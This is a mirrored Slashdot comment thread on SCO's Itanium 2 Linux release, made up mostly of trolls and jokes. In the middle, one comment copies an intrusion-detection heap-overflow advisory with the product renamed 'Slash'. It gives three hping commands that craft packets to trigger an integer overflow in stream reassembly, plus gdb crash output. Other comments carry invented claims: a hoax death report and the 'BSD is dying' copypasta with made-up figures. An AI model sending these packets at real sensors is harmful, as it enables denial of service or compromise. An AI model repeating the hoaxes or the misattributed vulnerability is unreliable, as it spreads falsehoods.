Slashdot Mirror
SCO Releases Linux OS for Itanium 2
GreyPoopon writes "Computerworld has an article referring to SCO's announcement of Enterprise Linux for the Itanium 2. Base installation starts at $999 for up to four CPUs. My favorite quote: "With its new system, SCO is a little late to the Linux on Itanium 2 market." I would think being late would be the least of their worries right now. I personally consider this to be my daily dose of comedy. Newsfactor has a better article."
you are tick infested horseblankets!
FP!
(-1, Raw and Uncut is the only way to read)
The vulnerability can be demonstrated by sending some specially crafted
packets with the free command line packet creating utility called hping
which you can download from http://www.hping.org.
In the following example 192.168.22.6 and 192.168.22.2 are both hosts
that actually exist and are on a network and running Slash.
Two packets are sent from 192.168.22.2 to port 111 on host 192.168.22.6
and then one packet is sent back to host 192.168.22.2 from 192.168.22.6.
hping 192.168.22.2 -a 192.168.22.6 -s 3339 -p 111 --ack --rst -c 1 -d 0x1 \\
--setseq 0xffff0023 --setack 0xc0c4c014
hping 192.168.22.2 -a 192.168.22.6 -s 3339 -p 111 --ack --rst -c 1 -d 0xF00 \\
--setseq 0xffffffff --setack 0xc0c4c014
hping 192.168.22.6 -a 192.168.22.2 -s 111 -p 3339 --ack -c 1 -d 0 \\
--setseq 0xc0c4c014 --setack 0xffffffff
The first packet sets up a new Session structure in the stream4 module
and the important detail is that the base_seq in the client Stream is
set to 0xffff0023.
The second packet sends 3840 bytes of data in a large fragmented IP
datagram. This adds a packet with the sequence number 0xffffffff to the
tree of stream data to be reassembled.
The last packet sets the last_ack of the client stream to 0xffffffff
and since the difference between the base_seq and the last_ack of the
client stream is very large it is flushed for analysis.
When the stream is reassembled and the second large packet is added,
the stream is set up with these values in TraverseFunc() in
spp_stream4.c.
s->base_seq = 0xffff0023
s->next_seq = 0xffff0024
s->last_ack = 0xffffffff
The packet itself has these values
spd->seq_num = 0xffffffff
spd->payload_size = 0xf00
The first sanity check makes sure that the packet sequence number is
between the base_seq and last_ack values for the stream
spp_stream4.c:Traversefunc()
if(spd->seq_num < s->base_seq || spd->seq_num > s->last_ack)
This condition must evaluate to FALSE or the function returns.
Then there is a check that is supposed to detect conditions that would
overflow the buffer so that later code can handle it by truncating
the data.
The packet sequence number must be greater than both the base_seq and
next_seq for the stream
spd->seq_num >= s->base_seq &&
spd->seq_num >= s->next_seq &&
This condition is supposed to detect a packet that will overflow the
buffer (since the difference between base_seq and last_ack has already
been verified to be smaller than the buffer size). However, if
(spd->seq_num + spd->payload_size) overflows a 32 bit integer value
the expression evaluates to a small integer and the condition is passed.
(spd->seq_num + spd->payload_size) <= s->last_ack
Then the offset in the buffer to copy the packet to is calculated.
With our values, this becomes 0xffdc which is near to the end of
buffer.
offset = spd->seq_num - s->base_seq (offset = 0xffdc)
This memcpy() copies spd->payload_size (0xf00) bytes of data starting at
buf + offset (near the end of the buffer) overflowing into the heap.
memcpy(buf + offset, spd->payload, spd->payload_size)
On our Linux build of Slash 1.9.0 this overflow conveniently overwrites a
function pointer that is called immediately after the reassembly
preprocessor returns:
80 while(idx != NULL)
(gdb)
82 assert(idx->func != NULL);
(gdb)
83 idx->func(p);
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
We have successfully exploited this vulnerability and produced an exploit
that functions on several different binaries of Slash 1.9.0 and 1.9.1.
All Microsoft executives are now committing suicide.
Peace and love, y'all
This is totally offtopic, and I'm sure it will get modded that way, but I don't think there is anything more puzzling than the circus peanuts. They're the opposite of delicious.
And they're one of those things that, no matter how often you say to yourself "These things are disgusting" you'll ALWAYS try one the next time someone offers you one, thinking that they really can't be that bad if they still make them.
Sorry about that, had to be said.
Microsoft is starting to fall apart, even if this is not entirely obvious.
Was this modded as funny? Microsoft continues to do well whether or not you like them.
I just heard some sad news on talk radio - former Iraqi information minister Mohammed Saeed al-Sahaf was found dead in his Baghdad home this morning. There weren't any more details. I'm sure everyone in the Slashdot community will miss him - even if you didn't enjoy his work, there's no denying his contributions to popular culture. Truly an Iraqi icon.
So I'm a pervert. Welcome to the Internet.
To the moderators: I forgot one little piece at the end of the post that might change the meaning; :-)
Sorry about that. So when reading my first post please mentally attach the smily face, it's a joke.
One more crippling bombshell hit the already beleaguered *BSD community when IDC confirmed that *BSD market share has dropped yet again, now down to less than a fraction of 1 percent of all servers. Coming on the heels of a recent Netcraft survey which plainly states that *BSD has lost more market share, this news serves to reinforce what we've known all along. *BSD is collapsing in complete disarray, as fittingly exemplified by failing dead last in the recent Sys Admin comprehensive networking test.
You don't need to be a Kreskin to predict *BSD's future. The hand writing is on the wall: *BSD faces a bleak future. In fact there won't be any future at all for *BSD because *BSD is dying. Things are looking very bad for *BSD. As many of us are already aware, *BSD continues to lose market share. Red ink flows like a river of blood.
FreeBSD is the most endangered of them all, having lost 93% of its core developers. The sudden and unpleasant departures of long time FreeBSD developers Jordan Hubbard and Mike Smith only serve to underscore the point more clearly. There can no longer be any doubt: FreeBSD is dying.
Let's keep to the facts and look at the numbers.
OpenBSD leader Theo states that there are 7000 users of OpenBSD. How many users of NetBSD are there? Let's see. The number of OpenBSD versus NetBSD posts on Usenet is roughly in ratio of 5 to 1. Therefore there are about 7000/5 = 1400 NetBSD users. BSD/OS posts on Usenet are about half of the volume of NetBSD posts. Therefore there are about 700 users of BSD/OS. A recent article put FreeBSD at about 80 percent of the *BSD market. Therefore there are (7000+1400+700)*4 = 36400 FreeBSD users. This is consistent with the number of FreeBSD Usenet posts.
Due to the troubles of Walnut Creek, abysmal sales and so on, FreeBSD went out of business and was taken over by BSDI who sell another troubled OS. Now BSDI is also dead, its corpse turned over to yet another charnel house.
All major surveys show that *BSD has steadily declined in market share. *BSD is very sick and its long term survival prospects are very dim. If *BSD is to survive at all it will be among OS dilettante dabblers. *BSD continues to decay. Nothing short of a miracle could save it at this point in time. For all practical purposes, *BSD is dead.
Fact: *BSD is dying